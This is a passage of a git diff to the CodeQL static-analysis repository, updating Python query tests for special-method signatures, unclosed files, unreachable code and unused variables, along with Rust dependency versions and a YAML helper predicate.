-| om_test.py:74:5:74:46 | Function WrongSpecials.__add__ | 1 default values(s) will never be used for special method __add__, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials |
-| om_test.py:97:15:97:34 | Function NotOKSpecials.lambda | Too few parameters for special method __sub__, which has 1 parameter, but should have 2, in class $@. | om_test.py:95:1:95:28 | class NotOKSpecials | NotOKSpecials |
-| protocols.py:107:1:107:12 | Function f | Too few parameters for special method __add__, which has 1 parameter, but should have 2, in class $@. | protocols.py:110:1:110:29 | class MissingMethods | MissingMethods |
-| protocols.py:107:1:107:12 | Function f | Too few parameters for special method __set__, which has 1 parameter, but should have 3, in class $@. | protocols.py:110:1:110:29 | class MissingMethods | MissingMethods |
+| om_test.py:59:5:59:28 | Function __div__ | Too many parameters for special method __div__, which has 3 parameters, but should have 2, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials |
+| om_test.py:62:5:62:22 | Function __mul__ | Too few parameters for special method __mul__, which has 1 parameter, but should have 2, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials |
+| om_test.py:65:5:65:29 | Function __neg__ | Too many parameters for special method __neg__, which has 2 parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials |
+| om_test.py:68:5:68:35 | Function __exit__ | Too few parameters for special method __exit__, which has 3 parameters, but should have 4, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials |
+| om_test.py:71:5:71:19 | Function __repr__ | Too few parameters for special method __repr__, which has no parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | Class WrongSpecials | WrongSpecials |
+| om_test.py:83:5:83:18 | Function __del__ | Too few parameters for special method __del__, which has no parameters, but should have 1, in class $@. | om_test.py:81:1:81:25 | Class OKSpecials | OKSpecials |
diff --git a/python/ql/test/query-tests/Functions/general/om_test.py b/python/ql/test/query-tests/Functions/general/om_test.py
index cbee20625aa8..959ed6bfe348 100644
--- a/python/ql/test/query-tests/Functions/general/om_test.py
+++ b/python/ql/test/query-tests/Functions/general/om_test.py
@@ -69,11 +69,11 @@ def __exit__(self, arg0, arg1):
         return arg0 == arg1
 
     def __repr__():
-        pass
+        return ""
 
     def __add__(self, other="Unused default"):
-       pass
-   
+       return 4
+
     @staticmethod
     def __abs__():
         return 42
@@ -105,3 +105,7 @@ def pop(self):
 
         
 
+class MoreSpecialMethods:
+    @staticmethod
+    def __abs__():
+        return 42
diff --git a/python/ql/test/query-tests/Resources/Dataflow.expected b/python/ql/test/query-tests/Resources/Dataflow.expected
deleted file mode 100644
index 18ac21574588..000000000000
--- a/python/ql/test/query-tests/Resources/Dataflow.expected
+++ /dev/null
@@ -1,119 +0,0 @@
-| f1_0 = open() | open |  |
-| f1_1 = MethodCallsiteRefinement(f1_0) | open |  |
-| f1_2 = MethodCallsiteRefinement(f1_1) | closed | exit |
-| f2_0 = open() | open | exit |
-| f3_0 = open() | open |  |
-| f3_1 = MethodCallsiteRefinement(f3_0) | closed | exit |
-| f4_0 = with | closed |  |
-| f4_1 = MethodCallsiteRefinement(f4_0) | closed | exit |
-| f5_0 = open() | open |  |
-| f5_1 = MethodCallsiteRefinement(f5_0) | open |  |
-| f5_2 = MethodCallsiteRefinement(f5_1) | closed | exit |
-| f5_3 = phi(f5_0, f5_1) | open |  |
-| f6_0 = None | closed |  |
-| f6_1 = open() | open |  |
-| f6_2 = MethodCallsiteRefinement(f6_1) | open |  |
-| f6_3 = phi(f6_0, f6_1, f6_2) | open |  |
-| f6_4 = Pi(f6_2) [true] | open |  |
-| f6_5 = MethodCallsiteRefinement(f6_4) | closed |  |
-| f6_6 = Pi(f6_3) [true] | open |  |
-| f6_7 = Pi(f6_2) [false] | closed |  |
-| f6_8 = phi(f6_5, f6_7) | closed | exit |
-| f7_0 = None | closed |  |
-| f7_1 = open() | open |  |
-| f7_2 = MethodCallsiteRefinement(f7_1) | open |  |
-| f7_3 = phi(f7_0, f7_1, f7_2) | open |  |
-| f7_4 = Pi(f7_2) [true] | open |  |
-| f7_5 = MethodCallsiteRefinement(f7_4) | closed |  |
-| f7_6 = Pi(f7_3) [true] | open |  |
-| f7_7 = Pi(f7_2) [false] | closed |  |
-| f7_8 = phi(f7_5, f7_7) | closed | exit |
-| f8_0 = None | closed |  |
-| f8_1 = open() | open |  |
-| f8_2 = MethodCallsiteRefinement(f8_1) | open |  |
-| f8_3 = phi(f8_0, f8_1, f8_2) | open |  |
-| f8_4 = Pi(f8_2) [true] | closed |  |
-| f8_5 = MethodCallsiteRefinement(f8_4) | closed |  |
-| f8_6 = Pi(f8_3) [true] | closed |  |
-| f8_7 = Pi(f8_2) [false] | open |  |
-| f8_8 = phi(f8_5, f8_7) | open | exit |
-| f9_0 = None | closed |  |
-| f9_1 = open() | open |  |
-| f9_2 = MethodCallsiteRefinement(f9_1) | open |  |
-| f9_3 = phi(f9_0, f9_1, f9_2) | open |  |
-| f9_4 = Pi(f9_2) [true] | closed |  |
-| f9_5 = MethodCallsiteRefinement(f9_4) | closed |  |
-| f9_6 = Pi(f9_3) [true] | closed |  |
-| f9_7 = Pi(f9_2) [false] | open |  |
-| f9_8 = phi(f9_5, f9_7) | open | exit |
-| f10_0 = open() | open |  |
-| f10_1 = MethodCallsiteRefinement(f10_0) | open |  |
-| f10_2 = MethodCallsiteRefinement(f10_1) | open |  |
-| f10_3 = MethodCallsiteRefinement(f10_2) | closed |  |
-| f10_4 = phi(f10_0, f10_1, f10_2, f10_3) | open |  |
-| f10_5 = MethodCallsiteRefinement(f10_4) | closed |  |
-| f10_6 = phi(f10_3, f10_5) | closed | exit |
-| f11_0 = open() | open |  |
-| f11_1 = MethodCallsiteRefinement(f11_0) | open |  |
-| f11_2 = MethodCallsiteRefinement(f11_1) | open |  |
-| f11_3 = MethodCallsiteRefinement(f11_2) | closed |  |
-| f11_4 = phi(f11_0, f11_1, f11_2, f11_3) | open |  |
-| f11_5 = MethodCallsiteRefinement(f11_4) | closed |  |
-| f11_6 = phi(f11_3, f11_5) | closed | exit |
-| f12_0 = open() | open |  |
-| f12_1 = MethodCallsiteRefinement(f12_0) | open |  |
-| f12_2 = MethodCallsiteRefinement(f12_1) | open |  |
-| f12_3 = MethodCallsiteRefinement(f12_2) | closed |  |
-| f12_4 = phi(f12_0, f12_1, f12_2, f12_3) | open |  |
-| f12_5 = MethodCallsiteRefinement(f12_4) | closed |  |
-| f12_6 = phi(f12_3, f12_5) | closed | exit |
-| f13_0 = open() | open |  |
-| f13_1 = MethodCallsiteRefinement(f13_0) | open | exit |
-| f14_0 = opener_func2() | open |  |
-| f14_1 = MethodCallsiteRefinement(f14_0) | open |  |
-| f14_2 = MethodCallsiteRefinement(f14_1) | closed | exit |
-| f15_0 = opener_func2() | open |  |
-| f15_1 = ArgumentRefinement(f15_0) | closed | exit |
-| f16_0 = ScopeEntryDefinition | closed |  |
-| f16_1 = open() | open |  |
-| f16_2 = MethodCallsiteRefinement(f16_1) | open |  |
-| f16_3 = MethodCallsiteRefinement(f16_2) | closed |  |
-| f16_4 = phi(f16_0, f16_1, f16_2, f16_3) | open |  |
-| f16_5 = phi(f16_3, f16_4) | open | exit |
-| f17_0 = open() | open |  |
-| f17_1 = MethodCallsiteRefinement(f17_0) | open |  |
-| f17_2 = MethodCallsiteRefinement(f17_1) | open |  |
-| f17_3 = MethodCallsiteRefinement(f17_2) | closed |  |
-| f17_4 = phi(f17_0, f17_1, f17_2, f17_3) | open |  |
-| f17_5 = MethodCallsiteRefinement(f17_4) | closed |  |
-| f17_6 = phi(f17_3, f17_5) | closed | exit |
-| f18_0 = open() | closed |  |
-| f18_1 = MethodCallsiteRefinement(f18_0) | closed | exit |
-| f20_0 = open() | open |  |
-| f20_1 = ArgumentRefinement(f20_0) | closed | exit |
-| f21_0 = open() | open |  |
-| f21_1 = MethodCallsiteRefinement(f21_0) | open |  |
-| f21_2 = MethodCallsiteRefinement(f21_1) | closed |  |
-| f21_3 = phi(f21_1, f21_2) | open |  |
-| f21_4 = phi(f21_0, f21_1, f21_2) | open |  |
-| f21_5 = Pi(f21_3) [true] | open |  |
-| f21_6 = MethodCallsiteRefinement(f21_5) | closed |  |
-| f21_7 = Pi(f21_4) [true] | open |  |
-| f21_8 = Pi(f21_3) [false] | closed |  |
-| f21_9 = phi(f21_6, f21_8) | closed | exit |
-| f22_0 = open() | open |  |
-| f22_1 = MethodCallsiteRefinement(f22_0) | open |  |
-| f22_2 = MethodCallsiteRefinement(f22_1) | closed |  |
-| f22_3 = phi(f22_1, f22_2) | open |  |
-| f22_4 = phi(f22_0, f22_1, f22_2) | open |  |
-| f22_5 = Pi(f22_3) [true] | closed |  |
-| f22_6 = MethodCallsiteRefinement(f22_5) | closed |  |
-| f22_7 = Pi(f22_4) [true] | closed |  |
-| f22_8 = Pi(f22_3) [false] | open |  |
-| f22_9 = phi(f22_6, f22_8) | open | exit |
-| f_0 = FunctionExpr | closed | exit |
-| file_0 = open() | open |  |
-| file_1 = open() | open |  |
-| file_2 = None | closed |  |
-| file_3 = phi(file_0, file_1, file_2) | open | exit |
-| fp_0 = ParameterDefinition | closed | exit |
diff --git a/python/ql/test/query-tests/Resources/Dataflow.ql b/python/ql/test/query-tests/Resources/Dataflow.ql
deleted file mode 100644
index fad31d80ec13..000000000000
--- a/python/ql/test/query-tests/Resources/Dataflow.ql
+++ /dev/null
@@ -1,14 +0,0 @@
-import python
-import Resources.FileOpen
-
-from EssaVariable v, EssaDefinition def, string open, string exit
-where
-  def = v.getDefinition() and
-  v.getSourceVariable().getName().charAt(0) = "f" and
-  (
-    var_is_open(v, _) and open = "open"
-    or
-    not var_is_open(v, _) and open = "closed"
-  ) and
-  if BaseFlow::reaches_exit(v) then exit = "exit" else exit = ""
-select v.getRepresentation() + " = " + v.getDefinition().getRepresentation(), open, exit
diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected
deleted file mode 100644
index c0a6c413333f..000000000000
--- a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.expected
+++ /dev/null
@@ -1,9 +0,0 @@
-| resources_test.py:4:10:4:25 | open() | File may not be closed if an exception is raised. |
-| resources_test.py:9:10:9:25 | open() | File is opened but is not closed. |
-| resources_test.py:49:14:49:29 | open() | File is opened but is not closed. |
-| resources_test.py:58:14:58:29 | open() | File is opened but is not closed. |
-| resources_test.py:79:11:79:26 | open() | File may not be closed if an exception is raised. |
-| resources_test.py:108:11:108:20 | open() | File is opened but is not closed. |
-| resources_test.py:112:11:112:28 | opener_func2() | File may not be closed if an exception is raised. |
-| resources_test.py:129:15:129:24 | open() | File is opened but is not closed. |
-| resources_test.py:237:11:237:26 | open() | File is opened but is not closed. |
diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref
deleted file mode 100644
index 37e9a0766805..000000000000
--- a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed.qlref
+++ /dev/null
@@ -1 +0,0 @@
-Resources/FileNotAlwaysClosed.ql
\ No newline at end of file
diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py
new file mode 100644
index 000000000000..598d54c892c3
--- /dev/null
+++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/resources_test.py
@@ -0,0 +1,280 @@
+#File not always closed
+
+def not_close1():
+    f1 = open("filename") # $ notClosedOnException
+    f1.write("Error could occur")
+    f1.close() 
+
+def not_close2():
+    f2 = open("filename") # $ notClosed
+
+def closed3():
+    f3 = open("filename")
+    f3.close()
+
+def closed4():
+    with open("filename") as f4:
+        f4.write("Error could occur")
+
+def closed5():
+    f5 = open("filename")
+    try:
+        f5.write("Error could occur")
+    finally:
+        f5.close()
+
+#Correctly guarded close()
+def closed6():
+    f6 = None
+    try:
+        f6 = open("filename")
+        f6.write("Error could occur")
+    finally:
+        if f6:
+            f6.close()
+
+def closed7():
+    f7 = None
+    try:
+        f7 = open("filename")
+        f7.write("Error could occur")
+    finally:
+        if not f7 is None:
+            f7.close()
+
+#Incorrectly guarded close()
+def not_closed8():
+    f8 = None
+    try:
+        f8 = open("filename") # $ MISSING:notClosedOnException 
+        f8.write("Error could occur")
+    finally:
+        if f8 is None: # We don't precisely consider this condition, so this result is MISSING. However, this seems uncommon.
+            f8.close()
+
+def not_closed9():
+    f9 = None
+    try:
+        f9 = open("filename") # $ MISSING:notAlwaysClosed
+        f9.write("Error could occur")
+    finally:
+        if not f9: # We don't precisely consider this condition, so this result is MISSING.However, this seems uncommon.
+            f9.close()
+
+def not_closed_but_cant_tell_locally():
+    return open("filename")
+
+#Closed by handling the correct exception
+def closed10():
+    f10 = open("filename")
+    try:
+        f10.write("IOError could occur")
+        f10.write("IOError could occur")
+        f10.close()
+    except IOError:
+        f10.close()
+
+#Not closed by handling the wrong exception
+def not_closed11():
+    f11 = open("filename") # $ MISSING:notAlwaysClosed
+    try:
+        f11.write("IOError could occur")
+        f11.write("IOError could occur")
+        f11.close()
+    except AttributeError: # We don't consider the type of exception handled here, so this result is MISSING.
+        f11.close()
+
+def doesnt_raise(*args):
+    pass
+
+def mostly_closed12():
+    f12 = open("filename") 
+    try:
+        f12.write("IOError could occur")
+        f12.write("IOError could occur")
+        doesnt_raise("Potential false positive here")
+        f12.close()
+    except IOError:
+        f12.close()
+
+def opener_func1(name):
+    return open(name)
+
+def opener_func2(name):
+    t1 = opener_func1(name)
+    return t1
+
+def not_closed13(name):
+    f13 = open(name) # $ notClosed
+    f13.write("Hello")
+
+def may_not_be_closed14(name):
+    f14 = opener_func2(name) # $ notClosedOnException
+    f14.write("Hello")
+    f14.close()
+
+def closer1(t2):
+    t2.close()
+
+def closer2(t3):
+    closer1(t3)
+
+def closed15():
+    f15 = opener_func2() # $ SPURIOUS:notClosed
+    closer2(f15) # We don't detect that this call closes the file, so this result is SPURIOUS.
+
+
+def may_not_be_closed16(name):
+    try:
+        f16 = open(name) # $ notClosedOnException
+        f16.write("Hello")
+        f16.close()
+    except IOError:
+        pass
+
+def may_raise():
+    if random():
+        raise ValueError()
+
+#Not handling all exceptions, but we'll tolerate the false negative
+def not_closed17():
+    f17 = open("filename") # $ MISSING:notClosedOnException
+    try:
+        f17.write("IOError could occur")
+        f17.write("IOError could occur")
+        may_raise("ValueError could occur") # FN here.
+        f17.close()
+    except IOError: # We don't detect that a ValueErrror could be raised that isn't handled here, so this result is MISSING.
+        f17.close()
+
+#ODASA-3779
+#With statement will close the fp
+def closed18(path):
+    try:
+        f18 = open(path)
+    except IOError as ex:
+        print(ex)
+        raise ex
+    with f18:
+        f18.read()
+
+class Closed19(object):
+
+    def __enter__(self):
+        self.fd = open("Filename")
+
+    def __exit__(self, *args):
+        self.fd.close()
+
+class FileWrapper(object):
+
+    def __init__(self, fp):
+        self.fp = fp
+
+def closed20(path):
+    f20 = open(path)
+    return FileWrapper(f20)
+
+#ODASA-3105
+def run(nodes_module):
+    use_file = len(sys.argv) > 1
+    if use_file:
+        out = open(sys.argv[1], 'w', encoding='utf-8')
+    else:
+        out = sys.stdout
+    try:
+        out.write("spam")
+    finally:
+        if use_file:
+            out.close()
+
+#ODASA-3515
+class GraphVizTrapWriter(object):
+
+    def __init__(self, out):
+        if out is None:
+            self.out = sys.stdout
+        else:
+            self.out = open(out, 'w')
+        self.pool = GraphVizIdPool(self.out)
+
+    def __del__(self):
+        if self.out != sys.stdout:
+            self.out.close()
+
+#Returned as part of tuple
+def f(name, path):
+    try:
+        path = path.attr
+        file = open(path, 'rb')
+    except AttributeError:
+        # ExtensionLoader has not attribute get_filename, instead it has a
+        # path attribute that we can use to retrieve the module path
+        try:
+            path = path.other_attr
+            file = open(path, 'rb')
+        except AttributeError:
+            path = name
+            file = None
+
+    return file, path
+
+
+#ODASA-5891
+def closed21(path):
+    f21 = open(path, "wb")
+    try:
+        f21.write(b"foo")
+        may_raise()
+        if foo:
+            f21.close()
+    finally:
+        if not f21.closed:
+            f21.close()
+
+
+def not_closed22(path):
+    f22 = open(path, "wb") # $ MISSING:notClosedOnException
+    try:
+        f22.write(b"foo")
+        may_raise()
+        if foo:
+            f22.close()
+    finally:
+        if f22.closed: # We don't precisely consider this condition, so this result is MISSING. However, this seems uncommon.
+            f22.close()
+
+def not_closed23(path):
+    f23 = open(path, "w") # $ notClosed
+    wr = FileWrapper(f23)
+
+def closed24(path):
+    f24 = open(path, "w")
+    try:
+        f24.write("hi")
+    except:
+        pass 
+    f24.close()
+
+def closed25(path):
+    from django.http import FileResponse 
+    return FileResponse(open(path))
+
+import os
+def closed26(path):
+    fd = os.open(path)
+    os.close(fd)
+
+def not_closed27(path):
+    fd = os.open(path, "w") # $notClosedOnException
+    f27 = os.fdopen(fd, "w")
+    f27.write("hi")
+    f27.close()
+
+def closed28(path):
+    fd = os.open(path, os.O_WRONLY) 
+    f28 = os.fdopen(fd, "w")
+    try:
+        f28.write("hi")
+    finally:
+        f28.close()
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/Consistency.expected b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/Consistency.expected
rename to python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.expected
diff --git a/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql
new file mode 100644
index 000000000000..f176172d0782
--- /dev/null
+++ b/python/ql/test/query-tests/Resources/FileNotAlwaysClosed/test.ql
@@ -0,0 +1,25 @@
+import python
+import Resources.FileNotAlwaysClosedQuery
+import utils.test.InlineExpectationsTest
+
+module MethodArgTest implements TestSig {
+  string getARelevantTag() { result = ["notClosed", "notClosedOnException"] }
+
+  predicate hasActualResult(Location location, string element, string tag, string value) {
+    exists(DataFlow::CfgNode el, FileOpen fo |
+      el = fo and
+      element = el.toString() and
+      location = el.getLocation() and
+      value = "" and
+      (
+        fileNotClosed(fo) and
+        tag = "notClosed"
+        or
+        fileMayNotBeClosedOnException(fo, _) and
+        tag = "notClosedOnException"
+      )
+    )
+  }
+}
+
+import MakeTest<MethodArgTest>
diff --git a/python/ql/test/query-tests/Resources/resources_test.py b/python/ql/test/query-tests/Resources/resources_test.py
deleted file mode 100644
index 73fa88b44016..000000000000
--- a/python/ql/test/query-tests/Resources/resources_test.py
+++ /dev/null
@@ -1,246 +0,0 @@
-#File not always closed
-
-def not_close1():
-    f1 = open("filename")
-    f1.write("Error could occur")
-    f1.close()
-
-def not_close2():
-    f2 = open("filename")
-
-def closed3():
-    f3 = open("filename")
-    f3.close()
-
-def closed4():
-    with open("filename") as f4:
-        f4.write("Error could occur")
-
-def closed5():
-    f5 = open("filename")
-    try:
-        f5.write("Error could occur")
-    finally:
-        f5.close()
-
-#Correctly guarded close()
-def closed6():
-    f6 = None
-    try:
-        f6 = open("filename")
-        f6.write("Error could occur")
-    finally:
-        if f6:
-            f6.close()
-
-def closed7():
-    f7 = None
-    try:
-        f7 = open("filename")
-        f7.write("Error could occur")
-    finally:
-        if not f7 is None:
-            f7.close()
-
-#Incorrectly guarded close()
-def not_closed8():
-    f8 = None
-    try:
-        f8 = open("filename")
-        f8.write("Error could occur")
-    finally:
-        if f8 is None:
-            f8.close()
-
-def not_closed9():
-    f9 = None
-    try:
-        f9 = open("filename")
-        f9.write("Error could occur")
-    finally:
-        if not f9:
-            f9.close()
-
-def not_closed_but_cant_tell_locally():
-    return open("filename")
-
-#Closed by handling the correct exception
-def closed10():
-    f10 = open("filename")
-    try:
-        f10.write("IOError could occur")
-        f10.write("IOError could occur")
-        f10.close()
-    except IOError:
-        f10.close()
-
-#Not closed by handling the wrong exception
-def not_closed11():
-    f11 = open("filename")
-    try:
-        f11.write("IOError could occur")
-        f11.write("IOError could occur")
-        f11.close()
-    except AttributeError:
-        f11.close()
-
-def doesnt_raise():
-    pass
-
-def mostly_closed12():
-    f12 = open("filename")
-    try:
-        f12.write("IOError could occur")
-        f12.write("IOError could occur")
-        doesnt_raise("Potential false positive here")
-        f12.close()
-    except IOError:
-        f12.close()
-
-def opener_func1(name):
-    return open(name)
-
-def opener_func2(name):
-    t1 = opener_func1(name)
-    return t1
-
-def not_closed13(name):
-    f13 = open(name)
-    f13.write("Hello")
-
-def may_not_be_closed14(name):
-    f14 = opener_func2(name)
-    f14.write("Hello")
-    f14.close()
-
-def closer1(t2):
-    t2.close()
-
-def closer2(t3):
-    closer1(t3)
-
-def closed15():
-    f15 = opener_func2()
-    closer2(f15)
-
-
-def may_not_be_closed16(name):
-    try:
-        f16 = open(name)
-        f16.write("Hello")
-        f16.close()
-    except IOError:
-        pass
-
-def may_raise():
-    if random():
-        raise ValueError()
-
-#Not handling all exceptions, but we'll tolerate the false negative
-def not_closed17():
-    f17 = open("filename")
-    try:
-        f17.write("IOError could occur")
-        f17.write("IOError could occur")
-        may_raise("ValueError could occur") # FN here.
-        f17.close()
-    except IOError:
-        f17.close()
-
-#ODASA-3779
-#With statement will close the fp
-def closed18(path):
-    try:
-        f18 = open(path)
-    except IOError as ex:
-        print(ex)
-        raise ex
-    with f18:
-        f18.read()
-
-class Closed19(object):
-
-    def __enter__(self):
-        self.fd = open("Filename")
-
-    def __exit__(self, *args):
-        self.fd.close()
-
-class FileWrapper(object):
-
-    def __init__(self, fp):
-        self.fp = fp
-
-def closed20(path):
-    f20 = open(path)
-    return FileWrapper(f20)
-
-#ODASA-3105
-def run(nodes_module):
-    use_file = len(sys.argv) > 1
-    if use_file:
-        out = open(sys.argv[1], 'w', encoding='utf-8')
-    else:
-        out = sys.stdout
-    try:
-        out.write("spam")
-    finally:
-        if use_file:
-            out.close()
-
-#ODASA-3515
-class GraphVizTrapWriter(object):
-
-    def __init__(self, out):
-        if out is None:
-            self.out = sys.stdout
-        else:
-            self.out = open(out, 'w')
-        self.pool = GraphVizIdPool(self.out)
-
-    def __del__(self):
-        if self.out != sys.stdout:
-            self.out.close()
-
-#Returned as part of tuple
-def f(name, path):
-    try:
-        path = path.attr
-        file = open(path, 'rb')
-    except AttributeError:
-        # ExtensionLoader has not attribute get_filename, instead it has a
-        # path attribute that we can use to retrieve the module path
-        try:
-            path = path.other_attr
-            file = open(path, 'rb')
-        except AttributeError:
-            path = name
-            file = None
-
-    return file, path
-
-
-#ODASA-5891
-def closed21(path):
-    f21 = open(path, "wb")
-    try:
-        f21.write(b"foo")
-        may_raise()
-        if foo:
-            f21.close()
-    finally:
-        if not f21.closed:
-            f21.close()
-
-
-def not_closed22(path):
-    f22 = open(path, "wb")
-    try:
-        f22.write(b"foo")
-        may_raise()
-        if foo:
-            f22.close()
-    finally:
-        if f22.closed: # Wrong sense
-            f22.close()
-
diff --git a/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.expected b/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.expected
index f5e74fab8d49..2417041f472d 100644
--- a/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.expected
+++ b/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.expected
@@ -4,6 +4,3 @@
 | test.py:21:5:21:38 | For | This statement is unreachable. |
 | test.py:28:9:28:21 | ExprStmt | This statement is unreachable. |
 | test.py:84:5:84:21 | ExceptStmt | This statement is unreachable. |
-| test.py:158:9:159:16 | Case | This statement is unreachable. |
-| test.py:162:13:162:16 | Pass | This statement is unreachable. |
-| test.py:167:13:167:16 | Pass | This statement is unreachable. |
diff --git a/python/ql/test/query-tests/Variables/unused/variables_test.py b/python/ql/test/query-tests/Variables/unused/variables_test.py
index ff8ac50a541c..611b9fbd6b2a 100644
--- a/python/ql/test/query-tests/Variables/unused/variables_test.py
+++ b/python/ql/test/query-tests/Variables/unused/variables_test.py
@@ -137,3 +137,21 @@ def test_dict_unpacking(queryset, field_name, value):
     for tag in value.split(','):
         queryset = queryset.filter(**{field_name + '__name': tag})
     return queryset
+
+from typing import TYPE_CHECKING
+
+if TYPE_CHECKING:
+    ParamAnnotation = int
+    ReturnAnnotation = int
+    AssignmentAnnotation = int
+    ForwardParamAnnotation = int
+    ForwardReturnAnnotation = int
+    ForwardAssignmentAnnotation = int
+
+def test_direct_annotation(x: ParamAnnotation) -> ReturnAnnotation:
+    if x:
+        y : AssignmentAnnotation = 1
+
+def test_forward_annotation(x: "ForwardParamAnnotation") -> "ForwardReturnAnnotation":
+    if x:
+        y : "ForwardAssignmentAnnotation" = 1
diff --git a/ql/Cargo.lock b/ql/Cargo.lock
index 853271e24e64..6632bf162eec 100644
--- a/ql/Cargo.lock
+++ b/ql/Cargo.lock
@@ -1,6 +1,6 @@
 # This file is automatically @generated by Cargo.
 # It is not intended for manual editing.
-version = 3
+version = 4
 
 [[package]]
 name = "adler2"
@@ -130,9 +130,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
 
 [[package]]
 name = "chrono"
-version = "0.4.38"
+version = "0.4.40"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401"
+checksum = "1a7964611d71df112cb1730f2ee67324fcf4d0fc6606acbbe9bfe06df124637c"
 dependencies = [
  "android-tzdata",
  "iana-time-zone",
@@ -140,7 +140,7 @@ dependencies = [
  "num-traits",
  "serde",
  "wasm-bindgen",
- "windows-targets",
+ "windows-link",
 ]
 
 [[package]]
@@ -337,9 +337,9 @@ checksum = "a246d82be1c9d791c5dfde9a2bd045fc3cbba3fa2b11ad558f27d01712f00569"
 
 [[package]]
 name = "flate2"
-version = "1.0.34"
+version = "1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1b589b4dc103969ad3cf85c950899926ec64300a1a46d76c03a6072957036f0"
+checksum = "11faaf5a5236997af9848be0bef4db95824b1d534ebc64d0f0c6cf3e67bd38dc"
 dependencies = [
  "crc32fast",
  "miniz_oxide",
@@ -449,9 +449,9 @@ checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
 
 [[package]]
 name = "miniz_oxide"
-version = "0.8.0"
+version = "0.8.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2d80299ef12ff69b16a84bb182e3b9df68b5a91574d3d4fa6e41b65deec4df1"
+checksum = "8e3e04debbb59698c15bacbb6d93584a8c0ca9cc3213cb423d31f760d8843ce5"
 dependencies = [
  "adler2",
 ]
@@ -679,9 +679,9 @@ dependencies = [
 
 [[package]]
 name = "tracing"
-version = "0.1.40"
+version = "0.1.41"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
+checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
 dependencies = [
  "pin-project-lite",
  "tracing-attributes",
@@ -690,9 +690,9 @@ dependencies = [
 
 [[package]]
 name = "tracing-attributes"
-version = "0.1.27"
+version = "0.1.28"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7"
+checksum = "395ae124c09f9e6918a2310af6038fba074bcf474ac352496d5910dd59a2226d"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -701,9 +701,9 @@ dependencies = [
 
 [[package]]
 name = "tracing-core"
-version = "0.1.32"
+version = "0.1.33"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
+checksum = "e672c95779cf947c5311f83787af4fa8fffd12fb27e4993211a84bdfd9610f9c"
 dependencies = [
  "once_cell",
  "valuable",
@@ -722,9 +722,9 @@ dependencies = [
 
 [[package]]
 name = "tracing-subscriber"
-version = "0.3.18"
+version = "0.3.19"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b"
+checksum = "e8189decb5ac0fa7bc8b96b7cb9b2701d60d48805aca84a238004d665fcc4008"
 dependencies = [
  "matchers",
  "nu-ansi-term",
@@ -897,6 +897,12 @@ dependencies = [
  "windows-targets",
 ]
 
+[[package]]
+name = "windows-link"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6dccfd733ce2b1753b03b6d3c65edf020262ea35e20ccdf3e288043e6dd620e3"
+
 [[package]]
 name = "windows-sys"
 version = "0.59.0"
diff --git a/ql/Cargo.toml b/ql/Cargo.toml
index 5e42fc8d5e50..3dca1c9fbca6 100644
--- a/ql/Cargo.toml
+++ b/ql/Cargo.toml
@@ -1,4 +1,5 @@
 [workspace]
+resolver = "2"
 members = [
     "extractor",
     "buramu",
diff --git a/ql/ql/src/codeql_ql/ast/Yaml.qll b/ql/ql/src/codeql_ql/ast/Yaml.qll
index 142820226a41..d5e80365ff4a 100644
--- a/ql/ql/src/codeql_ql/ast/Yaml.qll
+++ b/ql/ql/src/codeql_ql/ast/Yaml.qll
@@ -64,4 +64,15 @@ class QlRefDocument extends YamlDocument {
       value = n.lookup("postprocess").(YamlSequence).getElement(_)
     )
   }
+
+  predicate isPrintAst() {
+    this.getFile().getStem() = "PrintAst"
+    or
+    exists(YamlMapping n, YamlScalar value |
+      n.getDocument() = this and
+      value.getValue().matches("%PrintAst%")
+    |
+      value = n.lookup("query")
+    )
+  }
 }
